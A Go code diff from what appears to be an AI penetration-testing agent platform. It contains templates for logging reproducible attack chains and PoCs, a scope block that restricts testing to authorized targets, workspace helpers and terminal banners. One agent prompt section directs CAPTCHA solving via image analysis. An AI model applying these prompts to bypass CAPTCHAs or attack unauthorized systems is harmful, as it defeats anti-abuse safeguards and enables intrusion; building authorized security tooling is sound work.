"cyberstrike-ai/internal/projectprompt"
|
||||||
|
)
|
||||||
|
|
||||||
|
// 事实 category 常量(写入 upsert_project_fact 的 category 字段)。
|
||||||
|
const (
|
||||||
|
FactCategoryTarget = "target"
|
||||||
|
FactCategoryAuth = "auth"
|
||||||
|
FactCategoryInfra = "infra"
|
||||||
|
FactCategoryBusiness = "business"
|
||||||
|
FactCategoryFinding = "finding"
|
||||||
|
FactCategoryChain = "chain"
|
||||||
|
FactCategoryExploit = "exploit"
|
||||||
|
FactCategoryPOC = "poc"
|
||||||
|
FactCategoryNote = "note"
|
||||||
|
)
|
||||||
|
|
||||||
|
// RequiresAttackChainBody 判断该事实是否应携带可复现的攻击链 / exploit 详情(写在 body,非仅 summary)。
|
||||||
|
func RequiresAttackChainBody(category, factKey string) bool {
|
||||||
|
c := strings.ToLower(strings.TrimSpace(category))
|
||||||
|
switch c {
|
||||||
|
case FactCategoryFinding, FactCategoryChain, FactCategoryExploit, FactCategoryPOC, "vuln":
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
key := strings.ToLower(strings.TrimSpace(factKey))
|
||||||
|
for _, prefix := range []string{"finding/", "chain/", "exploit/", "poc/"} {
|
||||||
|
if strings.HasPrefix(key, prefix) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsSparseFactBody 攻击链类事实 body 过短或缺少关键段落时返回 true(软校验,不阻断写入)。
|
||||||
|
func IsSparseFactBody(category, factKey, body string) bool {
|
||||||
|
if !RequiresAttackChainBody(category, factKey) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
body = strings.TrimSpace(body)
|
||||||
|
if body == "" {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
lower := strings.ToLower(body)
|
||||||
|
// 至少应包含可复现线索:步骤/请求/命令/代码块 之一
|
||||||
|
hasSteps := strings.Contains(lower, "攻击链") || strings.Contains(lower, "## 攻击") ||
|
||||||
|
strings.Contains(lower, "## exploit") || strings.Contains(lower, "## poc")
|
||||||
|
hasHTTP := strings.Contains(lower, "```http") || strings.Contains(lower, "```bash") ||
|
||||||
|
strings.Contains(lower, "curl ") || strings.Contains(lower, "get ") || strings.Contains(lower, "post ")
|
||||||
|
hasReq := strings.Contains(lower, "请求") || strings.Contains(lower, "响应") || strings.Contains(lower, "payload")
|
||||||
|
// 无攻击链/POC/请求等结构线索,视为仅结论性描述(不论长短)
|
||||||
|
return !(hasSteps || hasHTTP || hasReq)
|
||||||
|
}
|
||||||
|
|
||||||
|
// FactBodyTemplate 按 category 返回建议的 body Markdown 骨架(供 Agent 填入真实内容)。
|
||||||
|
func FactBodyTemplate(category, factKey string) string {
|
||||||
|
if RequiresAttackChainBody(category, factKey) {
|
||||||
|
return attackChainFactBodyTemplate
|
||||||
|
}
|
||||||
|
return envFactBodyTemplate
|
||||||
|
}
|
||||||
|
|
||||||
|
const attackChainFactBodyTemplate = `## 结论(可验证,一句话)
|
||||||
|
<勿仅写「存在漏洞」;写明类型 + 位置 + 触发条件>
|
||||||
|
|
||||||
|
## 目标与入口
|
||||||
|
- 目标: <URL / IP:Port / 主机名>
|
||||||
|
- 入口: <路径 / 接口 / 参数>
|
||||||
|
- 前置条件: <匿名 / 角色 / Cookie / 其他依赖>
|
||||||
|
|
||||||
|
## 攻击链(逐步可复现)
|
||||||
|
1. <侦察/发现>
|
||||||
|
2. <利用/触发>
|
||||||
|
3. <影响证明(读文件、RCE 回显、越权数据等)>
|
||||||
|
|
||||||
|
## Exploit / POC
|
||||||
|
### 请求
|
||||||
|
` + "```http\n<METHOD> <path> HTTP/1.1\nHost: ...\n...\n\n<body>\n```" + `
|
||||||
|
|
||||||
|
### 响应 / 现象
|
||||||
|
<关键响应片段、状态码、差异点>
|
||||||
|
|
||||||
|
### 命令 / 脚本(如有)
|
||||||
|
` + "```bash\n<command>\n```" + `
|
||||||
|
|
||||||
|
## 关键证据
|
||||||
|
- <工具输出摘要 / 截图路径 / 会话或消息 ID>
|
||||||
|
|
||||||
|
## 关联
|
||||||
|
- related_vulnerability_id: <可选,对应 record_vulnerability 的 id>
|
||||||
|
- links(upsert 参数): [{ "from": "<fact_key>", "type": "discovered_on|..." }](from → 当前 fact)
|
||||||
|
- 依赖事实(body 可读镜像): <fact_key,如 auth/session_cookie>
|
||||||
|
|
||||||
|
## 备注与不确定性
|
||||||
|
<待验证假设、环境差异、绕过尝试记录>`
|
||||||
|
|
||||||
|
const envFactBodyTemplate = `## 摘要
|
||||||
|
<该事实的核心认知>
|
||||||
|
|
||||||
|
## 细节
|
||||||
|
<端口/版本/路径/凭据特征/业务规则等>
|
||||||
|
|
||||||
|
## 来源与证据
|
||||||
|
<命令输出、响应片段、发现时间>
|
||||||
|
|
||||||
|
## 关联
|
||||||
|
- 相关 fact_key: <可选>`
|
||||||
|
|
||||||
|
// FactRecordingGuidanceBlock 写入系统提示:要求事实沉淀攻击链上下文而非仅结论。
|
||||||
|
func FactRecordingGuidanceBlock() string {
|
||||||
|
return projectprompt.FactRecordingGuidanceBlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
// SparseBodyWarning 攻击链类事实 body 不足时的工具返回提示(不阻断保存)。
|
||||||
|
func SparseBodyWarning(category, factKey string) string {
|
||||||
|
if !IsSparseFactBody(category, factKey, "") {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return fmt.Sprintf(
|
||||||
|
"\n\n⚠ 提示:category=%q / fact_key=%q 属于攻击链类事实,但 body 为空或过简。请补充完整攻击链与 POC(参考模板),便于后续审计复现。\n建议 body 骨架:\n%s",
|
||||||
|
category, factKey, FactBodyTemplate(category, factKey),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// SparseBodyWarningIfNeeded 根据实际 body 判断是否追加警告。
|
||||||
|
func SparseBodyWarningIfNeeded(category, factKey, body string) string {
|
||||||
|
if !IsSparseFactBody(category, factKey, body) {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return SparseBodyWarning(category, factKey)
|
||||||
|
}
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
package project
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestRequiresAttackChainBody(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
cat, key string
|
||||||
|
want bool
|
||||||
|
}{
|
||||||
|
{"finding", "note/misc", true},
|
||||||
|
{"note", "finding/sqli-login", true},
|
||||||
|
{"target", "target/primary_domain", false},
|
||||||
|
{"auth", "auth/admin_cookie", false},
|
||||||
|
{"chain", "x", true},
|
||||||
|
{"", "exploit/rce-upload", true},
|
||||||
|
}
|
||||||
|
for _, tc := range cases {
|
||||||
|
if got := RequiresAttackChainBody(tc.cat, tc.key); got != tc.want {
|
||||||
|
t.Errorf("RequiresAttackChainBody(%q,%q)=%v want %v", tc.cat, tc.key, got, tc.want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestIsSparseFactBody(t *testing.T) {
|
||||||
|
long := strings.Repeat("x", 150)
|
||||||
|
if !IsSparseFactBody("finding", "finding/x", "") {
|
||||||
|
t.Error("empty body should be sparse")
|
||||||
|
}
|
||||||
|
if !IsSparseFactBody("finding", "finding/x", long) {
|
||||||
|
t.Error("body without repro clues should be sparse")
|
||||||
|
}
|
||||||
|
body := "## 攻击链\n1. step\n## Exploit\n```http\nGET / HTTP/1.1\n```\n"
|
||||||
|
if IsSparseFactBody("finding", "finding/x", body) {
|
||||||
|
t.Error("structured body should not be sparse")
|
||||||
|
}
|
||||||
|
if IsSparseFactBody("target", "target/x", "") {
|
||||||
|
t.Error("env fact empty body is ok")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,99 @@
|
|||||||
|
package project
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
)
|
||||||
|
|
||||||
|
// projectScopePayload 解析 projects.scope_json(约定字段,可扩展)。
|
||||||
|
type projectScopePayload struct {
|
||||||
|
Targets []string `json:"targets"`
|
||||||
|
Exclude []string `json:"exclude"`
|
||||||
|
Notes string `json:"notes"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// BuildScopeBlock 将项目 scope_json 格式化为 Agent 可读的授权范围块。
|
||||||
|
func BuildScopeBlock(proj *database.Project) string {
|
||||||
|
if proj == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
raw := strings.TrimSpace(proj.ScopeJSON)
|
||||||
|
if raw == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
var payload projectScopePayload
|
||||||
|
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
|
||||||
|
return fmt.Sprintf("## 项目测试范围(project: %s)\n(scope_json 非合法 JSON,请人工核对配置)\n```\n%s\n```\n"+
|
||||||
|
"仅对明确授权目标执行测试;超出范围须停止并说明。\n", proj.Name, truncateRunes(raw, 800))
|
||||||
|
}
|
||||||
|
|
||||||
|
var b strings.Builder
|
||||||
|
b.WriteString(fmt.Sprintf("## 项目测试范围(project: %s, id: %s)\n", proj.Name, proj.ID))
|
||||||
|
b.WriteString("以下为授权边界,**必须遵守**:仅测试列出的 targets,避开 exclude,不得擅自扩大范围。\n")
|
||||||
|
|
||||||
|
if len(payload.Targets) > 0 {
|
||||||
|
b.WriteString("\n**允许测试(targets)**:\n")
|
||||||
|
for _, t := range payload.Targets {
|
||||||
|
t = strings.TrimSpace(t)
|
||||||
|
if t != "" {
|
||||||
|
b.WriteString("- " + t + "\n")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(payload.Exclude) > 0 {
|
||||||
|
b.WriteString("\n**明确排除(exclude)**:\n")
|
||||||
|
for _, t := range payload.Exclude {
|
||||||
|
t = strings.TrimSpace(t)
|
||||||
|
if t != "" {
|
||||||
|
b.WriteString("- " + t + "\n")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if n := strings.TrimSpace(payload.Notes); n != "" {
|
||||||
|
b.WriteString("\n**说明(notes)**:\n" + n + "\n")
|
||||||
|
}
|
||||||
|
if len(payload.Targets) == 0 && len(payload.Exclude) == 0 && strings.TrimSpace(payload.Notes) == "" {
|
||||||
|
b.WriteString("\n(scope_json 已配置但未识别 targets/exclude/notes 字段,原始内容供参考)\n```json\n")
|
||||||
|
b.WriteString(truncateRunes(raw, 1200))
|
||||||
|
b.WriteString("\n```\n")
|
||||||
|
}
|
||||||
|
b.WriteString("\n若目标不在 targets 内或命中 exclude,不得主动扫描/利用;需用户明确扩大授权后再继续。\n")
|
||||||
|
return b.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
func truncateRunes(s string, max int) string {
|
||||||
|
r := []rune(s)
|
||||||
|
if len(r) <= max {
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
return string(r[:max]) + "…"
|
||||||
|
}
|
||||||
|
|
||||||
|
// BuildProjectBlackboardBlock 组合测试范围 + 事实黑板索引。
|
||||||
|
func BuildProjectBlackboardBlock(db *database.DB, projectID string, cfg config.ProjectConfig) (string, error) {
|
||||||
|
projectID = strings.TrimSpace(projectID)
|
||||||
|
if projectID == "" {
|
||||||
|
return "", nil
|
||||||
|
}
|
||||||
|
proj, err := db.GetProject(projectID)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
parts := []string{}
|
||||||
|
if scope := strings.TrimSpace(BuildScopeBlock(proj)); scope != "" {
|
||||||
|
parts = append(parts, scope)
|
||||||
|
}
|
||||||
|
index, err := BuildFactIndexBlock(db, projectID, cfg)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(index) != "" {
|
||||||
|
parts = append(parts, index)
|
||||||
|
}
|
||||||
|
return strings.Join(parts, "\n\n"), nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
package project
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestBuildScopeBlock_targetsExcludeNotes(t *testing.T) {
|
||||||
|
proj := &database.Project{
|
||||||
|
ID: "p1",
|
||||||
|
Name: "Acme",
|
||||||
|
ScopeJSON: `{"targets":["https://app.example.com"],"exclude":["*.cdn.example.com"],"notes":"仅 Web 层"}`,
|
||||||
|
}
|
||||||
|
block := BuildScopeBlock(proj)
|
||||||
|
if !strings.Contains(block, "https://app.example.com") {
|
||||||
|
t.Fatalf("missing target: %s", block)
|
||||||
|
}
|
||||||
|
if !strings.Contains(block, "cdn.example.com") {
|
||||||
|
t.Fatalf("missing exclude: %s", block)
|
||||||
|
}
|
||||||
|
if !strings.Contains(block, "仅 Web 层") {
|
||||||
|
t.Fatalf("missing notes: %s", block)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildScopeBlock_empty(t *testing.T) {
|
||||||
|
if BuildScopeBlock(&database.Project{Name: "X"}) != "" {
|
||||||
|
t.Fatal("expected empty")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildScopeBlock_invalidJSON(t *testing.T) {
|
||||||
|
proj := &database.Project{Name: "X", ScopeJSON: `{not json`}
|
||||||
|
block := BuildScopeBlock(proj)
|
||||||
|
if !strings.Contains(block, "非合法 JSON") {
|
||||||
|
t.Fatalf("unexpected: %s", block)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
package project
|
||||||
|
|
||||||
|
import "cyberstrike-ai/internal/database"
|
||||||
|
|
||||||
|
// GetProjectStats 聚合项目统计(含待补全事实数)。
|
||||||
|
func GetProjectStats(db *database.DB, projectID string) (*database.ProjectStats, error) {
|
||||||
|
stats, err := db.GetProjectStatsCounts(projectID)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
rows, err := db.ListProjectFactsForSparseCheck(projectID)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
for _, r := range rows {
|
||||||
|
if IsSparseFactBody(r.Category, r.FactKey, r.Body) {
|
||||||
|
stats.SparseFactCount++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return stats, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,26 @@
|
|||||||
|
package project
|
||||||
|
|
||||||
|
import "strings"
|
||||||
|
|
||||||
|
// VisionImageSectionMarker 图片分析 section 标题(与 AppendVisionImageAnalysisIfReady 注入一致)。
|
||||||
|
const VisionImageSectionMarker = "## 图片分析"
|
||||||
|
|
||||||
|
// VisionImageAnalysisSection 单/多代理共用的图片分析提示(analyze_image;上下文仅保留文字摘要)。
|
||||||
|
func VisionImageAnalysisSection() string {
|
||||||
|
var b strings.Builder
|
||||||
|
b.WriteString(VisionImageSectionMarker)
|
||||||
|
b.WriteString("\n\n")
|
||||||
|
b.WriteString("- 遇到图片文件(截图、验证码、登录页、报告配图)时,若存在工具 analyze_image,请传入服务器上的文件路径进行分析。\n")
|
||||||
|
b.WriteString("- 不要对二进制图片使用 read_file 指望理解内容;用户消息中「📎 xxx.png: /path」即为可传给 analyze_image 的路径。\n")
|
||||||
|
b.WriteString("- 验证码类:若已从页面或接口保存为本地图片(如 captcha.png),用 analyze_image,question 写明「只输出验证码字符」;识别失败则刷新验证码后重新保存再识;复杂滑块/行为验证码勿指望单次识图成功。\n")
|
||||||
|
b.WriteString("- 委派子代理时,若子任务含验证码/截图识读,在 task description 中写明图片路径与期望输出格式。\n")
|
||||||
|
return b.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
// AppendVisionImageAnalysisIfReady 仅在 vision.enabled 且 model 已配置时追加图片分析提示。
|
||||||
|
func AppendVisionImageAnalysisIfReady(base string, visionReady bool) string {
|
||||||
|
if !visionReady {
|
||||||
|
return base
|
||||||
|
}
|
||||||
|
return AppendSystemPromptBlock(base, VisionImageAnalysisSection())
|
||||||
|
}
|
||||||
@@ -0,0 +1,69 @@
|
|||||||
|
package project
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func sanitizeWorkspacePathSegment(s string) string {
|
||||||
|
s = strings.TrimSpace(s)
|
||||||
|
if s == "" {
|
||||||
|
return "default"
|
||||||
|
}
|
||||||
|
s = strings.ReplaceAll(s, string(filepath.Separator), "-")
|
||||||
|
s = strings.ReplaceAll(s, "/", "-")
|
||||||
|
s = strings.ReplaceAll(s, "\\", "-")
|
||||||
|
s = strings.ReplaceAll(s, "..", "__")
|
||||||
|
if len(s) > 180 {
|
||||||
|
s = s[:180]
|
||||||
|
}
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
|
||||||
|
// WorkspaceRootDir returns the relative workspace root for downloads and local analysis.
|
||||||
|
// Project-bound sessions share projects/<id>/; otherwise conversations/<id>/.
|
||||||
|
func WorkspaceRootDir(configuredBase, projectID, conversationID string) string {
|
||||||
|
base := strings.TrimSpace(configuredBase)
|
||||||
|
if base == "" {
|
||||||
|
base = filepath.Join("tmp", "workspace")
|
||||||
|
}
|
||||||
|
if pid := strings.TrimSpace(projectID); pid != "" {
|
||||||
|
return filepath.Join(base, "projects", sanitizeWorkspacePathSegment(pid))
|
||||||
|
}
|
||||||
|
conv := strings.TrimSpace(conversationID)
|
||||||
|
if conv == "" {
|
||||||
|
conv = "default"
|
||||||
|
}
|
||||||
|
return filepath.Join(base, "conversations", sanitizeWorkspacePathSegment(conv))
|
||||||
|
}
|
||||||
|
|
||||||
|
// EnsureWorkspace creates the workspace directory and returns its absolute path.
|
||||||
|
func EnsureWorkspace(root string) (string, error) {
|
||||||
|
abs, err := filepath.Abs(strings.TrimSpace(root))
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("workspace abs: %w", err)
|
||||||
|
}
|
||||||
|
if err := os.MkdirAll(abs, 0o755); err != nil {
|
||||||
|
return "", fmt.Errorf("workspace mkdir: %w", err)
|
||||||
|
}
|
||||||
|
return abs, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// BuildWorkspaceBlock instructs the agent to use the session workspace instead of /tmp.
|
||||||
|
func BuildWorkspaceBlock(absPath string) string {
|
||||||
|
absPath = strings.TrimSpace(absPath)
|
||||||
|
if absPath == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return fmt.Sprintf(`## 会话工作目录(下载与本地分析)
|
||||||
|
|
||||||
|
**必须使用以下目录**保存 curl/wget 下载的文件、临时 HTML/JS,以及 read_file/glob/grep 的检索范围:
|
||||||
|
`+"`%s`"+`
|
||||||
|
|
||||||
|
- **禁止**使用系统 `+"`/tmp`"+` 或其它全局临时目录(多项目/多会话会互窜遗留文件)。
|
||||||
|
- 下载示例:`+"`curl -o '%s/page.html' 'https://target/'`"+`;exec 时可将 `+"`workdir`"+` 设为该目录。
|
||||||
|
- 读取下载产物或临时分析文件前,用 glob/grep/read_file **限定在该目录**下搜索,勿在 `+"`/tmp`"+` 盲目检索。
|
||||||
|
- 当用户询问“当前目录”“项目根目录”或应用自身文件时,优先按服务进程当前工作目录理解;不要把空的会话工作目录误当成项目根目录。`, absPath, absPath)
|
||||||
|
}
|
||||||
@@ -0,0 +1,58 @@
|
|||||||
|
package project
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestWorkspaceRootDirProjectScoped(t *testing.T) {
|
||||||
|
got := WorkspaceRootDir("", "proj-1", "conv-1")
|
||||||
|
want := filepath.Join("tmp", "workspace", "projects", "proj-1")
|
||||||
|
if got != want {
|
||||||
|
t.Fatalf("got %q want %q", got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestWorkspaceRootDirConversationScoped(t *testing.T) {
|
||||||
|
got := WorkspaceRootDir("/data/ws", "", "conv-abc")
|
||||||
|
want := filepath.Join("/data/ws", "conversations", "conv-abc")
|
||||||
|
if got != want {
|
||||||
|
t.Fatalf("got %q want %q", got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestEnsureWorkspaceCreatesDir(t *testing.T) {
|
||||||
|
root := filepath.Join(t.TempDir(), "nested", "workspace")
|
||||||
|
abs, err := EnsureWorkspace(root)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("EnsureWorkspace: %v", err)
|
||||||
|
}
|
||||||
|
st, err := os.Stat(abs)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Stat: %v", err)
|
||||||
|
}
|
||||||
|
if !st.IsDir() {
|
||||||
|
t.Fatal("expected directory")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildWorkspaceBlockMentionsPath(t *testing.T) {
|
||||||
|
block := BuildWorkspaceBlock("/opt/csai/tmp/workspace/projects/p1")
|
||||||
|
if block == "" {
|
||||||
|
t.Fatal("expected non-empty block")
|
||||||
|
}
|
||||||
|
if !strings.Contains(block, "/opt/csai/tmp/workspace/projects/p1") {
|
||||||
|
t.Fatalf("block missing path: %s", block)
|
||||||
|
}
|
||||||
|
if !strings.Contains(block, "/tmp") {
|
||||||
|
t.Fatalf("block should warn about /tmp: %s", block)
|
||||||
|
}
|
||||||
|
if !strings.Contains(block, "当前目录") || !strings.Contains(block, "服务进程当前工作目录") {
|
||||||
|
t.Fatalf("block should distinguish current/project dir from workspace: %s", block)
|
||||||
|
}
|
||||||
|
if !strings.Contains(block, "不要把空的会话工作目录误当成项目根目录") {
|
||||||
|
t.Fatalf("block should warn about empty workspace confusion: %s", block)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,67 @@
|
|||||||
|
package termout
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// StartupWebUIOptions configures the startup Web UI banner.
|
||||||
|
type StartupWebUIOptions struct {
|
||||||
|
Scheme string
|
||||||
|
Port int
|
||||||
|
SelfSigned bool
|
||||||
|
HTTPRedirect bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// PrintConfigCreated prints a short notice when config.yaml is bootstrapped.
|
||||||
|
func PrintConfigCreated() {
|
||||||
|
s := New(os.Stdout)
|
||||||
|
s.Println("")
|
||||||
|
s.Println(s.Green("✔ ") + s.Bold("已创建 config.yaml") + s.Dim("(来自 config.example.yaml)"))
|
||||||
|
s.BlankLine()
|
||||||
|
}
|
||||||
|
|
||||||
|
// PrintStartupWebUI prints a colored startup banner for the Web UI.
|
||||||
|
func PrintStartupWebUI(opts StartupWebUIOptions) {
|
||||||
|
s := New(os.Stdout)
|
||||||
|
scheme := opts.Scheme
|
||||||
|
if scheme == "" {
|
||||||
|
scheme = "http"
|
||||||
|
}
|
||||||
|
port := opts.Port
|
||||||
|
if port <= 0 {
|
||||||
|
port = 8080
|
||||||
|
}
|
||||||
|
url := fmt.Sprintf("%s://127.0.0.1:%d/", scheme, port)
|
||||||
|
|
||||||
|
s.BlankLine()
|
||||||
|
s.Println(s.Bold(s.Cyan("CYBERSTRIKE AI")) + s.Dim(" / secure workspace"))
|
||||||
|
s.Println(s.Dim(strings.Repeat("─", 60)))
|
||||||
|
s.Println(s.Green("● ONLINE") + " " + s.Bold(s.White(url)))
|
||||||
|
if opts.SelfSigned {
|
||||||
|
s.Println(s.Dim(" TLS ") + s.Yellow("self-signed") + s.Dim(" · accept the browser warning once"))
|
||||||
|
}
|
||||||
|
if opts.HTTPRedirect {
|
||||||
|
s.Println(s.Dim(" Redirect ") + fmt.Sprintf("http://127.0.0.1:%d/ → HTTPS", port))
|
||||||
|
}
|
||||||
|
s.BlankLine()
|
||||||
|
}
|
||||||
|
|
||||||
|
// PrintBootstrapAdminCredentials prints the initial admin password banner.
|
||||||
|
func PrintBootstrapAdminCredentials(password string) {
|
||||||
|
password = strings.TrimSpace(password)
|
||||||
|
if password == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
s := New(os.Stdout)
|
||||||
|
s.Println(s.Bold(s.Yellow("ADMIN SETUP REQUIRED")))
|
||||||
|
s.Println(s.Dim(strings.Repeat("─", 60)))
|
||||||
|
s.Println(s.Dim(" Username ") + s.Bold(s.White("admin")))
|
||||||
|
s.Println(s.Dim(" Password ") + s.Bold(s.Yellow(password)))
|
||||||
|
s.BlankLine()
|
||||||
|
s.Println(s.Yellow(" ! ") + s.White("Store this password securely. It is shown only once."))
|
||||||
|
s.Println(s.Dim(" Change it in Settings immediately after signing in."))
|
||||||
|
s.BlankLine()
|
||||||
|
}
|
||||||
@@ -0,0 +1,76 @@
|
|||||||
|
package termout
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestDisplayWidthEmoji(t *testing.T) {
|
||||||
|
if got := displayWidth("🚀"); got != 2 {
|
||||||
|
t.Fatalf("displayWidth(emoji) = %d, want 2", got)
|
||||||
|
}
|
||||||
|
if got := displayWidth("ab"); got != 2 {
|
||||||
|
t.Fatalf("displayWidth(ab) = %d, want 2", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDisplayWidthIgnoresANSI(t *testing.T) {
|
||||||
|
s := New(nil)
|
||||||
|
colored := s.Bold("admin")
|
||||||
|
if got := displayWidth(colored); got != 5 {
|
||||||
|
t.Fatalf("displayWidth colored = %d, want 5", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPadRightDisplay(t *testing.T) {
|
||||||
|
got := padRightDisplay("pwd", 10)
|
||||||
|
if displayWidth(got) != 10 {
|
||||||
|
t.Fatalf("padded width = %d, want 10", displayWidth(got))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestColorDisabledWithoutTTY(t *testing.T) {
|
||||||
|
s := New(nil)
|
||||||
|
if s.enabled {
|
||||||
|
t.Fatal("expected colors disabled for nil writer")
|
||||||
|
}
|
||||||
|
if got := s.Cyan("x"); got != "x" {
|
||||||
|
t.Fatalf("Cyan without TTY = %q, want plain text", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPrintBootstrapAdminCredentialsEmpty(t *testing.T) {
|
||||||
|
PrintBootstrapAdminCredentials(" ")
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPrintStartupWebUIOptions(t *testing.T) {
|
||||||
|
PrintStartupWebUI(StartupWebUIOptions{
|
||||||
|
Scheme: "https",
|
||||||
|
Port: 8080,
|
||||||
|
SelfSigned: true,
|
||||||
|
HTTPRedirect: true,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBoxRowAlignedWidth(t *testing.T) {
|
||||||
|
s := New(nil)
|
||||||
|
rows := []string{
|
||||||
|
s.Bold("CyberStrikeAI") + s.White(" is ready"),
|
||||||
|
s.Dim("Web UI ") + s.Bold("https://127.0.0.1:8080/"),
|
||||||
|
}
|
||||||
|
inner := maxDisplayWidth(rows...)
|
||||||
|
for _, row := range rows {
|
||||||
|
line := s.boxRow(inner, row)
|
||||||
|
if !strings.Contains(line, "│") {
|
||||||
|
t.Fatalf("box row missing border: %q", line)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMaxDisplayWidth(t *testing.T) {
|
||||||
|
short := "abc"
|
||||||
|
long := "https://127.0.0.1:8080/"
|
||||||
|
if got := maxDisplayWidth(short, long); got != displayWidth(long) {
|
||||||
|
t.Fatalf("maxDisplayWidth = %d, want %d", got, displayWidth(long))
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,108 @@
|
|||||||
|
package termout
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
codeReset = "\033[0m"
|
||||||
|
codeBold = "\033[1m"
|
||||||
|
codeDim = "\033[2m"
|
||||||
|
codeRed = "\033[31m"
|
||||||
|
codeGreen = "\033[32m"
|
||||||
|
codeYellow = "\033[33m"
|
||||||
|
codeBlue = "\033[34m"
|
||||||
|
codeCyan = "\033[36m"
|
||||||
|
codeWhite = "\033[97m"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Style wraps ANSI styling with TTY / NO_COLOR awareness.
|
||||||
|
type Style struct {
|
||||||
|
out io.Writer
|
||||||
|
enabled bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// New creates a Style writing to out (typically os.Stdout).
|
||||||
|
func New(out io.Writer) *Style {
|
||||||
|
return &Style{out: out, enabled: colorEnabled(out)}
|
||||||
|
}
|
||||||
|
|
||||||
|
func colorEnabled(w io.Writer) bool {
|
||||||
|
if strings.TrimSpace(os.Getenv("NO_COLOR")) != "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
force := strings.TrimSpace(os.Getenv("FORCE_COLOR"))
|
||||||
|
if force == "1" || strings.EqualFold(force, "true") || strings.EqualFold(force, "yes") {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
f, ok := w.(*os.File)
|
||||||
|
if !ok {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
